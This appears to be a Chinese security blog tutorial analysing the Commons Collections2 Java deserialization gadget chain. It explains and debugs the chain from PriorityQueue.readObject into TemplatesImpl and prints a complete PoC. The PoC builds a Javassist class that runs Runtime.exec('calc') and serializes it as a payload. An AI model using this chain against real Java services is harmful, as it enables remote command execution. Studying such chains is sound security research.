Commons Collections2分析
0x01、POC分析
//创建一个CtClass对象的容器
ClassPool classPool=ClassPool.getDefault();
//添加AbstractTranslet的搜索路径
classPool.appendClassPath(AbstractTranslet);
//创建一个新的public类
CtClass payload=classPool.makeClass("CC2");
//让上面创建的类继承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");
首先是通过getDefault
创建一个CtClass对象的容器,然后appendClassPath()
来添加添加AbstractTranslet
的搜索路径;
然后创建一个public修饰的类,类名为CommonsCollection2
;通过setSuperclass
来设置父类;我们在想想看get()
方法是干嘛的?通过该文章javassist使用,可以知道是查找AbstractTranslet
类
此处总结就是:设置父类为AbstractTranslet
然后创建一个静态代码块,静态代码块中设置内容为:
java.lang.Runtime.getRuntime().exec("calc");
第二部分
//反射创建TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes});
//反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
//将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");
然后通过反射创建,通过实例化调用了构造无参构造,然后newInstance()
来实例化对象,通过反射获取private修饰的_bytecodes
属性;获取私有的时候需要使用暴力反射;
然后将反射获取的_bytecodes
变量赋值为bytes
变量
而bytes
是payload.toBytecode()
,而payload是CommonsCollections2
类的内容;将templatesImpl
上的_bytecodes
字段设置为CC2
类的的byte
数组;
然后再通过反射获取到private
修饰的_name
变量,最后通过反射设置该变量的值为test
;
第三部分
InvokerTransformer transformer=new InvokerTransformer("newTransformer",
new Class[]{},
new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
而我们通过cc1知道,InvokerTransformer
第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表;接着获取了 InvokerTransformer
实例对象.
所以这边是去调用了newTransformer
这个方法,后面再细讲;然后TransformingComparator
的compare
方法会去调用传入参数的transform
方法。
第四部分
//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
构造参数有三种,然后我们这是第二种,自定义容量大小;然后将指定的元素插入此优先级队列,默认是升序排列;
此处是实验代码~~~,由于本人懒,就不单独写,直接修改一下下;
然后通过反射,去获取comparator
变量,并且最后在comparator
变量设置值为comparator
;
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
最后步骤一样,设置queue
变量为Object数组,内容为templatesImpl;最后就是输出序列化流
那为什么要添加两个呢?这个稍后调试的时候讲解
0x02、poc调试
这里我先说明一下,因为我昨天去和朋友happy,和初中同学聚了一下还看了唐探3,给忘记了我写了啥东西;所以poc分析就按照之前的废稿写进;然后这边poc我是摘抄自nice一位师傅的;其次就是这边调试我会按照我的思路讲; 接下来就进入正文了
这里不知道上文分析的逻辑,也不想读,就重新理解过程;这边我们看看yso的利用链,这边入口点是PriorityQueue.readObject()
;知道了路口点,那我们可以进去查找下这个readObject()
方法。
断点下好后我们就可以开始debug了,因为前面部分都不是重点。
这边有几个步骤,首先是调用默认的 ObjectInputStream.defaultReadObject()
方法 ,把序列化的文件进行 反序列化去读取数据;然后调用 ObjectInputStream.readInt()
方法读取优先级队列的长度。
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
此处继续检查集合的容量和类型,然后循环读取数组 queue 的内容这里与 PriorityQueue.writeObject()
方法对应 . 读取 queue 数组的内容
最后进入heapify()
方法中,我们f7继续跟进去看看
进去之后我们发现是调用了siftDown()
方法;那这for判断的是啥?
这时候就涉及到了exp中为何要添加两个值到容器中
那么我们看看for是怎么判断的?
通过此处,size知道为2,经过计算后为0,判断i大于等于0的时候,执行代码的内容为0,满足这条件;那我们无法判断是否是此处的问题,我们可以修改exp试试
queue.add(1);
queue.add(1);
我们先将此处注释掉一个
最后我们在debug到那一步去看看size
的值是多少
这时候可以发现是size
的值是1;如果还有什么疑惑的话,没事,下面我们会分析如何构造出这份exp;
那么我们回归正文,我们继续F7进入siftDown()
方法看看
这个方法可以看到有两个参数,第一个是整数类型的,也就是数字;第二个X
是什么?
X是:queue[i] = queue[0] = TemplatesImpl对象
然后再判断comparator
值不为空的时候为true;然而这个comparator
是TransformingComparator
类型的值,所以进入这个siftDownUsingComparator
;
我们继续f7跟进siftDownUsingComparator
方法里面
然后一直f8到了此处,具体上面的我就不细讲了。这边调用了compare
注意:comparator
是TransformingComparator
类型的值,所以可以知道调用的是TransformingComparator
类里面的compare()
方法噢
所以我们f7进去,查看是不是跟我们的想法一致(读者:这不屁话吗,不一致就大结局了)
注意个问题,这边两个参数的内容都是TemplatesImpl
的实例化对象。那this.transformer
呢?
此处是InvokerTransformer
类型的值,所以这边调用的是InvokerTransformer
里的transform()
方法;这就有点类似CC1里面的了,绕到此处,使用反射进行rce;
但是,这里我们就要细节了,注意看上图中的时时变量,
所以我们跟进去看看所谓的细节~~,既然调用了newTransformer
方法,我们就进去看看这个方法。那这是哪个类的呢?
这里类型是这个,也就是exp构造的类型,所以这个方法属于这个类中的
TemplatesImpl.newTransformer()
方法主要用于获取 TemplatesImpl 实例对象 , 后面可以使用此实例处理来自不同源的XML文档 , 并对其进行转换等操作。其中会调用getTransletInstance
方法。前面可是没有条件判断,意思就是必进的点
进入了getTransletInstance()
方法中
方法用于生成 translet 实例对象 . 这个实例对象随后会被封装在 Transformer 实例对象中。
为什么构造 Payload 时 _name
字段不填充会利用失败 ?
其实是因为 getTransletInstance()
方法会对 TemplatesImpl 对象的 _name
字段有一步判断 , 如果该属性值为 null , 则直接返回 null;不为空的时候,才能进入下面的条件分支
接着代码会判断 _class
字段值是否为空 , 如果为空就会调用 defineTransletClasses()
方法 . 这里 _class
字段为空 , 因此我们跟进该方法。
该方法会对 _bytecodes
字段进行解析 , 核心代码如下:
代码会通过 loader.defineClass()
方法将字节码数组转换成类的实例 。
而唯一的条件就是该类的父类为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
然后一直到最后,defineTransletClasses()
执行完后会跳回刚刚的地方
由于变量 _transletIndex
的值为 " 0 " , 因此 _class[_transletIndex]
实际上就是我们通过 JAVAssist 构造的恶意类 。
现在会对恶意类调用 newInstance()
方法 , 类会先被加载后再被实例化 .
类在加载时会调用静态代码块中的内容 . 因此服务端最终会进入 java.lang.Runtime.getRuntime().exec()
反射链 , 执行系统命令。
0x03、完整POC
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC2");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
0x04、总结
可能有部分不好,因为分析一半出去玩,然后一回来写,进入状态有点不佳,但是应该很详细了;而CC2链涉及到了两个知识点: JAVAssist 与 PriorityQueu;所以学下这两个知识点就差不多了
参考文章:
https://www.cnblogs.com/nice0e3/p/13860621.html
https://www.cnblogs.com/kuaile1314/p/14239789.html
https://www.cnblogs.com/0x7e/p/14246855.html
https://www.cnblogs.com/0x7e/p/14246623.html
Commons Collections2分析的更多相关文章
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- ysoserial Commons Collections2反序列化研究
Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
随机推荐
- 微信登录4-开发回调URL
一.准备 1.引入pom依赖 在要使用HttpClient的项目中加入依赖 <!--httpclient--> <dependency> <groupId>org. ...
- innodb锁和事物
• InnoDB存储引擎支持行级锁,其大类可以细分为共享锁和排它锁两类• 共享锁(S):允许拥有共享锁的事务读取该行数据.当一个事务拥有一行的共享锁时,另外的事务可以在同一行数据也获得共享锁,但另外的 ...
- 【Android初级】如何动态添加菜单项(附源码+避坑)
我们平时在开发过程中,为了灵活多变,除了使用静态的菜单,还有动态添加菜单的需求.今天要分享的功能如下: 在界面的右上角有个更多选项,点开后,有两个子菜单:关于和退出 点击"关于", ...
- ESXI6.7主机降级至ESXI6.5
上一条博客vcenter添加主机失败:https://www.cnblogs.com/Crazy-Liu/p/11211760.html 原因esxi主机和vcenter版本不一致,因为vcenter ...
- 省选复习 - LCT 笔记
目录 LCT 笔记 主要功能 和其它数据结构的比较 思想 虚实剖分 如何维护所有的链 实链 虚边 开始构思 具体要维护的功能(从基础到高级) Splay部分 access(u) make(u) fin ...
- Oracle删除表中的重复数据
Oracle数据库删除表中的重复数据,只保留其中的一条,以两个字段为例,提供两种方法 ①.直接delete重复的数据 delete from table_name t1 where (t1.col1, ...
- MariaDB数据库---主从复制,galera架构
主从复制 补充一点:⑤slave端的IO thread 将从master端请求来的二进制日志文件中的内容存储到relay_log(中继日志)中 图片来源:https://www.cnblogs.com ...
- 【疑】接入交换机lacp port-channel连接核心突然中断
现状: 职场网络架构为接入交换机2个端口通过lacp协议的active模式组成port-channel上联到核心. 具体配置如下 接入: 核心: 故障现象: zabbix监控到核心交换机对应该接入交换 ...
- 小白搭建WNMP详细教程---NGINX、MYSQL、PHP的整合配置
我自定义安装后的目录结构如下: 安装在D盘的WNMP下,其中WWW是网站的目录.ZIPS是放压缩包文件. 一.配置环境变量 在桌面右击我的电脑,选择属性,出现窗口后,按下图所示操作: 点击编辑后,会出 ...
- thymeleaf第二篇:理解原理并为后面springboot进行整合进行铺垫
官方入门之从虚拟商店理解thymeleaf 参考文档: 简单使用Thymeleaf API渲染模板生成静态页面 邮件通知改造之Thymeleaf渲染模板生成静态页面--看懂会帮助理解springboo ...